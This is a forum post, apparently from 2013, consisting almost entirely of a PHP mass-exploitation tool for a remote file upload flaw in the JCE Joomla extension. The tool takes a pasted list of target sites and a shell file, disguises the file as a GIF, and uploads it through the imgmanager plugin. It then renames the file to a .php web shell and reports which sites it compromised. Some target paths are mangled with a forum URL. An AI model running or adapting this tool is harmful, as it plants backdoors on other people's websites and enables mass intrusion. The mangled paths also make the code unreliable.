Mass Jce Prv8

cPanel · October 15, 2013

<?             	
#        Priv 2013/02
?>
<html><body bgcolor="#000000" link="#FF0000" alink="#FF0000" vlink="#FF0000"> <center><form action="" method="post" enctype="multipart/form-data">
	<font color="#C0C0C0" size="7">JCE Joomla Extension Remote File Upload - Priv8</font><p><input type="text" name="shellname" value="a.php"><br><input type="file" name="datafile"><br><textarea cols=50 rows=20 name="sites" >
</textarea>
<br><input type="submit" name="submit"></p>
</form>
<?PHP

error_reporting(0);
if($_POST['submit']){
$shellname=trim($_POST['shellname']);
echo "<table border=1 height=100 widh=200 >";

$sites=explode("\r\n",$_POST['sites']);
foreach($sites as $sites2){
	###################    ????? ??????? ????? ?????    ##################   
	$sites2=parse_url($sites2);      
	$path=$sites2['path'];
	$host=$sites2['host'];
	if($sites2['port']==""){ $port=80;}
	else {$port=$sites2['port'];}
	$siite=$host.":".$port;
	if(!file_get_contents($_FILES['datafile']['tmp_name'])){die ('<h1><font color="red">cu de rola cade a porra da shell</font></h1>');}

	###################          ??????? ????????        ##################
	$connect=@fsockopen($host,$port,$dddddddd,$sssssss,10);
		if(!$connect){echo "<tr><td><font color='white'>http://$siite$path</font></td><td><font color='white'>No Response</font></td><td><a href='http://www.correspondances-manosque.org/cache/jce.php'><font color='white'>Try With Single</font></a></td></tr>"; }
		elseif($siite==":80\r\n"){}
		else{

    ###################    ??? ???? ??????? gif         ##################
			$content = "GIF89a1\n"; 
            $content .= file_get_contents($_FILES['datafile']['tmp_name']); 
            $data    = "-----------------------------41184676334\r\n"; 
            $data   .= "Content-Disposition: form-data; name=\"upload-dir\"\r\n\r\n"; 
            $data   .= "/\r\n"; 
            $data   .= "-----------------------------41184676334\r\n"; 
            $data   .= "Content-Disposition: form-data; name=\"Filedata\"; filename=\"\"\r\n"; 
            $data   .= "Content-Type: application/octet-stream\r\n\r\n\r\n"; 
            $data   .= "-----------------------------41184676334\r\n"; 
            $data   .= "Content-Disposition: form-data; name=\"upload-overwrite\"\r\n\r\n"; 
            $data   .= "0\r\n"; 
            $data   .= "-----------------------------41184676334\r\n"; 
            $data   .= "Content-Disposition: form-data; name=\"Filedata\"; filename=\"0day.gif\"\r\n"; 
            $data   .= "Content-Type: image/gif\r\n\r\n"; 
            $data   .= "$content\r\n"; 
            $data   .= "-----------------------------41184676334\r\n"; 
            $data   .= "0day\r\n"; 
            $data   .= "-----------------------------41184676334\r\n"; 
            $data   .= "Content-Disposition: form-data; name=\"action\"\r\n\r\n"; 
            $data   .= "upload\r\n"; 
            $data   .= "-----------------------------41184676334--\r\n\r\n\r\n\r\n"; 
            $packet  = "POST ".$path."/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6bc427c8a7981f4fe1f5ac65c1246b5f=9d09f693c63c1988a9f8a564e0da7743 HTTP/1.1\r\n"; 
            $packet .= "Host: ".$siite."\r\n"; 
            $packet .= "User-Agent: BOT/0.1 (BOT for JCE)\r\n"; 
            $packet .= "Content-Type: multipart/form-data; boundary=---------------------------41184676334\r\n"; 
            $packet .= "Accept-Language: en-us,en;q=0.5\r\n"; 
            $packet .= "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n"; 
            $packet .= "Cookie: 6bc427c8a7981f4fe1f5ac65c1246b5f=9d09f693c63c1988a9f8a564e0da7743; jce_imgmanager_dir=%2F; __utma=216871948.2116932307.1317632284.1317632284.1317632284.1; __utmb=216871948.1.10.1317632284; __utmc=216871948; __utmz=216871948.1317632284.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)\r\n"; 
            $packet .= "Connection: Close\r\n"; 
            $packet .= "Proxy-Connection: close\r\n"; 
            $packet .= "Content-Length: ".strlen($data)."\r\n\r\n\r\n\r\n";    
            $packet .= $data; 
	##################          ?????????????????? ????? ??????       ############
	fputs($connect,$packet);
	fclose($connect);

	###############    ?????????? ?????? ???? ??? .php             #################
	$connect1=@fsockopen($host,$port,$dddddddd,$sssssss,10);
	        $packet  = "POST ".$path."/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20 HTTP/1.1\r\n";
            $packet .= "Host: ".$siite."\r\n";
            $packet .= "User-Agent: BOT/0.1 (BOT for JCE) \r\n";
            $packet .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
            $packet .= "Accept-Language: en-US,en;q=0.8\r\n";
            $packet .= "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n";
            $packet .= "Content-Type: application/x-www-form-urlencoded; charset=utf-8\r\n";
            $packet .= "Accept-Encoding: deflate\n";
            $packet .= "X-Request: JSON\r\n";
            $packet .= "Cookie: __utma=216871948.2116932307.1317632284.1317639575.1317734968.3; __utmz=216871948.1317632284.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmb=216871948.20.10.1317734968; __utmc=216871948; jce_imgmanager_dir=%2F; 6bc427c8a7981f4fe1f5ac65c1246b5f=7df6350d464a1bb4205f84603b9af182\r\n";
            $ren ="json={\"fn\":\"folderRename\",\"args\":[\"/0day.gif\",\"$shellname\"]}";
            $packet .= "Content-Length: ".strlen($ren)."\r\n\r\n";
            $packet .= $ren."\r\n\r\n";
    fputs($connect1,$packet);
	fclose($connect1);
	############################          ?????? ?? ???? ????? ###########################################################################
	$html="";
	$connect2=@fsockopen($host,$port,$dddddddd,$sssssss,10);
			$packet  = "Head ".$path."https://rstforums.com/forum/images/stories/".$shellname." HTTP/1.1\r\n"; 
            $packet .= "Host: ".$siite."\r\n"; 
            $packet .= "User-Agent: BOT/0.1 (BOT for JCE) \r\n\r\n\r\n\r\n"; 
	fputs($connect2,$packet);

	$finalsiite="http://".$siite.$path."https://rstforums.com/forum/images/stories/".$shellname;
	$finalsiite2="http://".$host.$path."https://rstforums.com/forum/images/stories/".$shellname;
	$tester=@file_get_contents($finalsiite);
	while(!feof($connect2)){ $html.=fgets($connect2);}
	if(stristr($html,'200 OK')!=true && !eregi('GIF89a1',$tester)){ echo "<tr><td><font color='red'>http://$siite$path</font></td><td><font color='red'>Exploit Failed</font></td><td><a href='http://www.correspondances-manosque.org/cache/jce.php'><font color='red'>Try With Single</a></font></td></tr>";}
	else{ echo "<tr><td><font color='green'>http://$siite$path</font></td><td><font color='green'>Exploit Succes</font></td><td><a href='$finalsiite'><font color='green'>$finalsiite2</a></font></td></tr>"; }
	fclose($connect2);

}
	}
echo "</table>";
}
?>
</center>
</body></html>

Edited October 15, 2013 by TheTime

Sign In

Mass Jce Prv8

Recommended Posts

cPanel

Link to comment

Share on other sites

Join the conversation

Browse

Activity

Pages